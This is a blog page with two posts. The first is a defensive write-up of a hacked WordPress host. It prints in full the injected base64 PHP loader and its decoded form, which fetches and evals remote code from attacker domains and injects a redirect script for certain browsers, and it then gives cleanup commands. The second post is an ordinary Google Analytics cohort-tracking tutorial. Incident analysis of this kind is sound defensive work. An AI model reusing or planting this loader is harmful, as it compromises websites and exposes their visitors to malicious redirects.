04 4 / 2012
If you get eval(base64 hacked on wordpress/dreamhost
I have a shared host on Dreamhost that just got hacked to shit. A fairly standard hack, and nothing particularly inspired, but nevertheless some clients from years ago weren’t too happy. If this happens to anyone else, here’s the fix (for now):
UPDATE: This is not Wordpress/Dreamhost specific. I’ve seen reports of other installs/hosts affected. There’s no reason the below won’t work elsewhere, but as always, don’t just copy and paste my (/any) code into your terminal… :)
Triage
First, you want to determine the type of attack. Do they have your SSH/FTP password, or is it just a vulnerability in a PHP script or something. The former is very worrying, the latter is just a case of plugging the hole and repairing the damage.
Log into your sever and run the following:
last -i | grep youruser
Verify that those logins are you, and from your IP address. A quick reverse geocode will show any you’re unsure of. If they all check out great, if not you’re in deeper trouble.
The hack I found essentially created a new php file in the uploads folder of Wordpress that allowed remote filesystem control, and then modified the pages being served (every .php file) to include a script tag redirecting visitors to some dodgy sites.
For example, this is the end of a normal page request:
<!-- 24 queries. 0.542 seconds. -->
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52'></script>
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/scripts.js?ver=3.0'></script>
</body>
</html>
And this is a hacked version:
<!-- 24 queries. 0.542 seconds. -->
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/jquery.form.js?ver=2.52'></script>
<script type='text/javascript' src='http://www.mysite.com/wp-content/plugins/contact-form-7/scripts.js?ver=3.0'></script>
<script src="http://irstde24clined.rr.nu/mm.php?d=1"></script>
</body>
</html>
What’s interesting about this hack, is it only targets certain browser types.
You can test this by running this from your command line:
curl --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)" www.mysite.com
The hack inserts the following at the top of every PHP file it can get access to:
<?php /**/ //eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9"));?>
If you decode this base64 (easy enough online), you get the following script being run:
if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){ $_SERVER['mr_no']=1;
if(!function_exists('mrobh')){ function get_tds_777($url){$content="";
$content=@trycurl_777($url);
if($content!==false)return $content;
$content=@tryfile_777($url);
if($content!==false)return $content;
$content=@tryfopen_777($url);
if($content!==false)return $content;
$content=@tryfsockopen_777($url);
if($content!==false)return $content;
$content=@trysocket_777($url);
if($content!==false)return $content;
return '';
} function trycurl_777($url){if(function_exists('curl_init')===false)return false;
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 5);
curl_setopt ($ch, CURLOPT_HEADER, 0);
$result = curl_exec ($ch);
curl_close($ch);
if ($result=="")return false;
return $result;
} function tryfile_777($url){if(function_exists('file')===false)return false;
$inc=@file($url);
$buf=@implode('',$inc);
if ($buf=="")return false;
return $buf;
} function tryfopen_777($url){if(function_exists('fopen')===false)return false;
$buf='';
$f=@fopen($url,'r');
if ($f){while(!feof($f)){$buf.=fread($f,10000);
}fclose($f);
}else return false;
if ($buf=="")return false;
return $buf;
} function tryfsockopen_777($url){if(function_exists('fsockopen')===false)return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$f=@fsockopen($host,80,$errno, $errstr,30);
if(!$f)return false;
$request ="GET $uri HTTP/1.0\n";
$request.="Host: $host\n\n";
fwrite($f,$request);
$buf='';
while(!feof($f)){$buf.=fread($f,10000);
}fclose($f);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
} function trysocket_777($url){if(function_exists('socket_create')===false)return false;
$p=@parse_url($url);
$host=$p['host'];
$uri=$p['path'].'?'.$p['query'];
$ip1=@gethostbyname($host);
$ip2=@long2ip(@ip2long($ip1));
if ($ip1!=$ip2)return false;
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);
return false;
}$request ="GET $uri HTTP/1.0\n";
$request.="Host: $host\n\n";
socket_write($sock,$request);
$buf='';
while($t=socket_read($sock,10000)){$buf.=$t;
}@socket_close($sock);
if ($buf=="")return false;
list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
return $buf;
} function update_tds_file_777($tdsfile){$actual1=$_SERVER['s_a1'];
$actual2=$_SERVER['s_a2'];
$val=get_tds_777($actual1);
if ($val=="")$val=get_tds_777($actual2);
$f=@fopen($tdsfile,"w");
if ($f){@fwrite($f,$val);
@fclose($f);
}if (strstr($val,"|||CODE|||")){list($val,$code)=explode("|||CODE|||",$val);
eval(base64_decode($code));
}return $val;
} function get_actual_tds_777(){$defaultdomain=$_SERVER['s_d1'];
$dir=$_SERVER['s_p1'];
$tdsfile=$dir."log1.txt";
if (@file_exists($tdsfile)){$mtime=@filemtime($tdsfile);
$ctime=time()-$mtime;
if ($ctime>$_SERVER['s_t1']){$content=update_tds_file_777($tdsfile);
}else{$content=@file_get_contents($tdsfile);
}}else{$content=update_tds_file_777($tdsfile);
}$tds=@explode("\n",$content);
$c=@count($tds)+0;
$url=$defaultdomain;
if ($c>1){$url=trim($tds[mt_rand(0,$c-2)]);
}return $url;
} function is_mac_777($ua){$mac=0;
if (stristr($ua,"mac")||stristr($ua,"safari"))if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))$mac=1;
return $mac;
} function is_msie_777($ua){$msie=0;
if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;
return $msie;
} function setup_globals_777(){$rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";
$mz="/tmp/";
if (!is_dir($rz)){@mkdir($rz);
if (is_dir($rz)){$mz=$rz;
}else{$rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";
if (!is_dir($rz)){@mkdir($rz);
if (is_dir($rz)){$mz=$rz;
}}else{$mz=$rz;
}}}else{$mz=$rz;
}$bot=0;
$ua=$_SERVER['HTTP_USER_AGENT'];
if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;
if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;
$msie=0;
if (is_msie_777($ua))$msie=1;
$mac=0;
if (is_mac_777($ua))$mac=1;
if (($msie==0)&&($mac==0))$bot=1;
global $_SERVER;
$_SERVER['s_p1']=$mz;
$_SERVER['s_b1']=$bot;
$_SERVER['s_t1']=1200;
$_SERVER['s_d1']="http://sweepstakesandcontestsdo.com/";
$d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1']='http://www.lilypophilypop.com/g_load.php'.$d;
$_SERVER['s_a2']='http://www.lolypopholypop.com/g_load.php'.$d;
$_SERVER['s_script']="mm.php?d=1";
} setup_globals_777();
if(!function_exists('gml_777')){ function gml_777(){ $r_string_777='';
if ($_SERVER['s_b1']==0)$r_string_777='’;
return $r_string_777;
} } if(!function_exists(‘gzdecodeit’)){ function gzdecodeit($decode){ $t=@ord(@substr($decode,3,1));
$start=10;
$v=0;
if($t&4){ $str=@unpack(‘v’,substr($decode,10,2));
$str=$str[1];
$start+=2+$str;
} if($t&8){ $start=@strpos($decode,chr(0),$start)+1;
} if($t&16){ $start=@strpos($decode,chr(0),$start)+1;
} if($t&2){ $start+=2;
} $ret=@gzinflate(@substr($decode,$start));
if($ret===FALSE){ $ret=$decode;
} return $ret;
} } function mrobh($content){ @Header(‘Content-Encoding: none’);
$decoded_content=gzdecodeit($content);
if(preg_match(‘/<\/body/si’,$decoded_content)){ return preg_replace(‘/(<\/body[^>]*>)/si’,gml_777().”\n”.’$1’,$decoded_content);
}else{ return $decoded_content.gml_777();
} } ob_start(‘mrobh’);
} }
;
What’s neat here, is it checks for non-bots (google, yahoo, etc.), non-mac users running IE7. Probably therefore almost no sys-admins!
Getting rid of it
I did this in three stages. First, find any world-writable directories (tsk tsk):
find . -type d -perm -o=w
And make them not world writable:
find . -type d -perm -o=w -print -exec chmod 770 {} \;
Delete all the new files these guys created:
find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;
(In wordpress, the uploads folder shouldn’t contain any PHP)
UPDATE: I’ve seen from the comments that files got created elsewhere, so best to remove them. Depending on how recently you uploaded new files etc., you can use the following to find other dodgy files:
find . -mmin -2880 -iname "*.php"
This will find all php files modified in the last 48 hours. If they hit everything this will be a long list. The other trick is to look for files containing ‘utf8’ in the file name - in wordpress these shouldn’t exist (I don’t think), and I’ve seen a bunch of installs have them created:
find . -iname "*utf*.php"
And to remove them all (assuming you’ve checked its save):
find . -iname "*utf*.php" -exec rm -rf {} \;
Stage two, repair all your infected PHP files. I played around using sed and xargs for this, but eventually gave up and wrote a quick ruby script to do the job. Run this run this ruby script from your root directory:
#!/usr/bin/env ruby
Dir.glob('**/*.php').each do |f|
puts f
begin
contents = File.read(f)
contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")
File.open(f, 'w') {|f| f.write(contents) }
rescue
puts "FILE ERROR"
end
end
The final step is to upgrade all your old, forgotten about Wordpress installs to prevent any other vulnerabilities showing up. The bonus step for good luck is to reset your passwords, especially any MySQL passwords stored in plain text in your wp-config.php file.
UPDATE: Really do update your wordpress/joomla/vBulletin/phpbb etc. install. This hack occurs from insecure installs of common opensource tools. Some photo manager plugin you installed 2 years ago and never updated is probably the problem.
Anyone found the same thing or having problems comment below and I’ll try and help. Or tweet me.
Permalink 43 notes
08 11 / 2011
Startups: Hacking a Cohort Analysis with Google Analytics
At a recent Seedcamp day I was talking with a few teams about how to do a cohort analysis quickly and easily. We all know the value of actionable metrics above vanity metrics (thanks in part to Eric Ries’s new book), but getting them out is often a surprisingly difficult task, especially for a small team. At Crashpadder we do two kinds of cohort analysis - one is a custom built tool that runs off our database, and the other is a google analytics hack that I’ll show below.
The advantage of the database report is it’s accurate, it uses our more complex business logic and KPIs, and as we built it, it does exactly what we need. The downside is it’s not realtime/slowish (obvious N+1 issues with grouping data over and over), and needs to be run on our server (i.e. by me) - our new datalytics team member can’t just get stuck in. It’s not the kind of thing you do in a web request/live page, but we can run it once a day/week/month in a few minutes.
Google Analytics is great as everyone can access it from anywhere, we already use it for loads of tracking, and it has a relatively simple web interface. Downsides include accuracy and customisation. And did I mention accuracy?
So we use the database report for detailed analysis, and the Google Analytics hack to quickly spot trends, compare with other data, have data available on request, and so on.
So if you want to get started with some cohort analysis at your cool new startup, but don’t want to slow down your lighting fast build-test-learn loop and MVP building in the early days, try this.
The hack
The essence of this is to push custom variables to GA, along with your normal page data, that describes the current user, and then create advanced segments in GA to limit what you’re seeing to these users. We push 5 bits of data to GA at crashapdder; these will obviously be different for every startup:
- Is the visitor currently logged in
- Are they a member of Crashpadder
- Are they a host or a guest
- The year they joined (for this cohort analysis)
- The month they joined (for this cohort analysis)
So here’s your normal GA code:
<script type="text/javascript" defer="defer">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-XXXXXX-1']);
_gaq.push(['_setDomainName', 'www.mydomain.com']);
_gaq.push(['_trackPageview']);
_gaq.push(['_trackPageLoadTime']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
We add to this our custom variables as below. You should be able to pull this out of your current user variable/model/object (we’re using Ruby/Rails); simplified a bit, our code looks like this:
<script type="text/javascript" defer="defer">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-XXXXXX-1']);
_gaq.push(['_setDomainName', 'www.mydomain.com']);
_gaq.push(['_trackPageview']);
_gaq.push(['_trackPageLoadTime']);
_gaq.push(['_setCustomVar', 1, 'Logged in', <%= current_user.blank? ? "'no'" : "'yes'" %>, 2]);
_gaq.push(['_setCustomVar', 2, 'Member', <%= current_user.blank? ? "'no'" : "'yes'" %>, 1]);
_gaq.push(['_setCustomVar', 3, 'Host/guest', <%= (current_user.blank? || current_user.is_a_host?) ? "'host'" : "'guest'" %>, 1]);
_gaq.push(['_setCustomVar', 4, 'Join month', <%= current_user.blank? ? "'0'" : "'#{current_user.created_at.month}'" %>, 1]);
_gaq.push(['_setCustomVar', 5, 'Join year', <%= current_user.blank? ? "'0'" : "'#{current_user.created_at.year}'" %>, 1]);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
This then renders in your browser something like this:
<script type="text/javascript" defer="defer">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-XXXXXX-1']);
_gaq.push(['_setDomainName', 'www.mydomain.com']);
_gaq.push(['_trackPageview']);
_gaq.push(['_trackPageLoadTime']);
_gaq.push(['_setCustomVar', 1, 'Logged in', 'yes', 2]);
_gaq.push(['_setCustomVar', 2, 'Member', 'yes', 1]);
_gaq.push(['_setCustomVar', 3, 'Host/guest', 'guest', 1]);
_gaq.push(['_setCustomVar', 4, 'Join month', '8', 1]);
_gaq.push(['_setCustomVar', 5, 'Join year', '2009', 1]);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
(A keen observer will notice that the first two seem to do the same thing - whether they’re a member or logged in. The number on the end of each line specifies the lifetime of the cookie GA uses to track the user. We set whether they’re logged in to that session only, and whether they’re a member to lifetime. So after the first login, we know if you’re a member again, even if you don’t login the second time.)
Google Analytics
Now head over to your GA account, and click ‘Advanced Segments’. Under ‘custom segments’, click ‘New Custom Segment’.
Give this segment a title, say ‘November 2011 signups’
Drop down the variable type (default is usually ‘Ad Content’), and select the corresponding ‘Custom Variable (Value XX)’ for the join year. So in this case, Value 04 is our join month, and Value 05 is our join year.
Note: you need to choose the value rather than the key - in the above example, the key is ‘join month’ or ‘join year’, and the value is 2008/2009, 1-12 etc.
In the ‘containing’ box, enter the year you’re grouping by (here 2011). Click the ‘Add AND statement’ link, and repeat with the month, this time choosing the Value 04 and the month number, here 11. This is creating a segment that isolates everyone who joined in year=2011 and month=11.
Save the segment, and you’re now looking at your data only for people who joined in November 2011.
We create a new one every month for the incoming users, and can quickly filter all data by a particular cohort, or compare two cohorts with one another.
If you jump over to your goal tracking, you can start to see which cohort is converting better, what their profile looks like in the months after they joined, estimate their lifetime value, value half-life and so on.
Feel free to leave comments below!
Permalink 45 notes